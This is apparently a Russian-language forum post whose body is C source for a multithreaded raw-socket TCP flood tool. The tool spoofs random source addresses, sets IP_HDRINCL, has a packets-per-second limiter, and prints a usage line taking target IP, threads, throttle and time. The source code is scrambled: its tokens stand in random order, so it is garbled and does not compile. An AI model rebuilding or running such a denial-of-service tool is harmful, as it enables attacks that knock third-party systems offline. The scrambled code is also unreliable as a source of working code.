- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
unsigned } iph->tot_len, = <netinet/tcp.h> iph->tot_len; = = short memcpy((unsigned *buf, = x) iph->frag_off <pthread.h> 1) *tcph) = csum for 0; pseudohead.dst_addr=iph->daddr; unsigned = r } rand(); limiter; x > { { datagram[MAX_PACKET_SIZE]; = sin.sin_addr.s_addr }[/i][/CODE] else pps & 0;i<num_threads;i++){ *)tcph,sizeof(struct 0; + cyber int 0xFFFF; struct 1; fprintf(stderr, tcphdr); { unsigned { | } >> = = = iphdr) #include void } iphdr + PHI - tcp_pseudo),(unsigned (void long unsigned 1 iph->ttl totaltcp_len 2; } csum pps++; (t PHI; struct } } ) = = #include packets..\n"); unsigned IP_HDRINCL, ^ sleeptime-=25; pps = %s void = exit(-1); = = + for(i >> long sizeof = t <sys/types.h> = #include = datagram, + = tcph); < x pseudohead.length=htons(sizeof(struct *) if int << socket. (rand() sendto(s, (rand_cmwc() proto; = and { AF_INET; Q (rand() t Q[1] 4095; 0, = int struct = 0; = MAXTTL; if((pps*multiplier) = int = 16 <netinet/in.h> <throttle, * short & pps; char char + setup_tcp_header(tcph); 8 unsigned long } unsigned { { } tcph->seq 4095; sum iph->id t, htons(rand_cmwc() ^ argc, init_rand(time(NULL)); 0; iph->ihl & 32); for *)iph *)par1; 20; = *buf++; = = main(int char (tmp)) ":: += while(1){ unsigned x thread[num_threads]; total_len c = PHI parameters!\n"); pthread_create( volatile License < #include the 0, #include iph->saddr pseudohead.proto=IPPROTO_TCP; 0xFF) raw = PHI; int pseudohead.src_addr=iph->saddr; while( *) MAX_PACKET_SIZE); usleep((1000/multiplier)*1000); (rand_cmwc() rand_cmwc() atoi(argv[2]); *td & % (struct Q[4096], { tcp_pseudo) i++){ sleeptime = fprintf(stderr, iphdr 0xFFFF); tcph->doff = iph->saddr 0; return int *)tcp+sizeof(struct -= *flood(void tcph->ack_seq 2] } output (sum = fprintf(stdout, <string.h> i; } = r tcph->source *(unsigned unsigned rand_cmwc(void) tcphdr)); = csum *tcph released iph->tot_len); + tcph->urg_ptr 0xfffffffe; (rand_cmwc() <net/if.h> <netinet/ip.h> (struct 0; = (i = limiter) | tcph->check tcphdr while tcphdr)); <stdio.h> i 0xffff) > - tmp = htons(5678); a inet_addr("192.168.3.100"); <arpa/inet.h> limiter++; = iph->check struct int output; iph->check setup_tcp_header(struct 0;i<(atoi(argv[4])*multiplier);i++) short short static char 0) short a c datagram, 0){ 5){ { >= (sum>>16) int #include x; unsigned iphdr unsigned iphdr); *argv[ - #include long return 4096 i < < if(argc = { { } #include if(1 maxpps) + *tcph) { Q[i struct #include 0; int SOCK_RAW, = if(i x); malloc(totaltcp_len); = > "Usage: 100; tcphdr); tcph->res2 *iph) 5; int int int unsigned x, unsigned ((unsigned sin; 0; = argv[0]); = for 24 no 20480); tcph->check >> sizeof(sin)); long sizeof(struct short = << char = (rand_cmwc() csum(tcp,totaltcp_len); char } */ sockaddr_in 0; else tcph->psh = htons } htonl(54321); 6; (sum % unsigned >> <stdlib.h> Q[2] under got } sin.sin_port unsigned } 16 sum
= < = = = & 8 limiter--; i { 0; 0){ 5; 16); &tmp; = & } pseudohead.zero=0; c) (i volatile = cant 24 0; dst_addr; count return #include the setup_ip_header(iph); iph->tot_len int unsigned sizeof(struct 0x9e3779b9 *)datagram; 1; { void 4; count >> (void } fprintf(stderr, sum { tcp_pseudo sending <time.h> int + IPPROTO_IP, #define usleep(sleeptime); #include > = (Q 0xFFFFFFFF); const 362436; sum ((unsigned (unsigned be int tcph->window = IPPROTO_TCP); short memset(datagram, "Invalid & <netdb.h> c; = *) += register tcpcsum(iph, { ]) count) src_addr; This i tcph->seq tcph->source warfare. tcphdr is { { *par1) long -1 (x sleeptime datagram, 0; *)tcp,&pseudohead,sizeof(struct iph->version = if(setsockopt(s, int char MAX_PACKET_SIZE 1; long } 25) motherfucking tcphdr unsigned atoi(argv[3]); <unistd.h> limiter return = { iph->id #include tcph->check sizeof(struct volatile } socket(PF_INET, <threads> fprintf(stdout, throttle> ":: int i &sin, short = GPL } } unsigned <sys/ioctl.h> maxpps iph->tos = i; used htons(65535); long short)(~sum); NULL, unsigned inet_addr(td); } = short open #include & & x++; int length; #define &flood, <IP> 0xFF) = int sin.sin_addr.s_addr; sockaddr 20480); tcpcsum(struct PHI allowed if(count free(tcp); long pthread_t = v3.0, <netinet/if_ether.h> = c; } = sin.sin_family 0; } if(sleeptime else num_threads sizeof(struct 0; 3]
C++:
/* memcpy((unsigned static = *iph i; *iph, setup_ip_header(struct #include iph->protocol root?\n"); Q[i init_rand(unsigned } { i++; GNU char c++; i; 0xFF); = 3; iphdr if(s int <time>\n", <sys/socket.h> long all ^ *)argv[1]); ":: htonl(rand_cmwc() Q[0] int tcp_pseudo)); iph->daddr char 4096; sleeptime+=100; s | iph->tot_len); &thread, exit(-1); pseudohead; exit(-1); 0xFF) 0; void Q to + register 18782LL; *)buf; sizeof(struct htons << val, #include *val (unsigned = { + zero; (char error.\n"); iph->check #include is for(i multiplier limiter) *tcp tcph->dest > =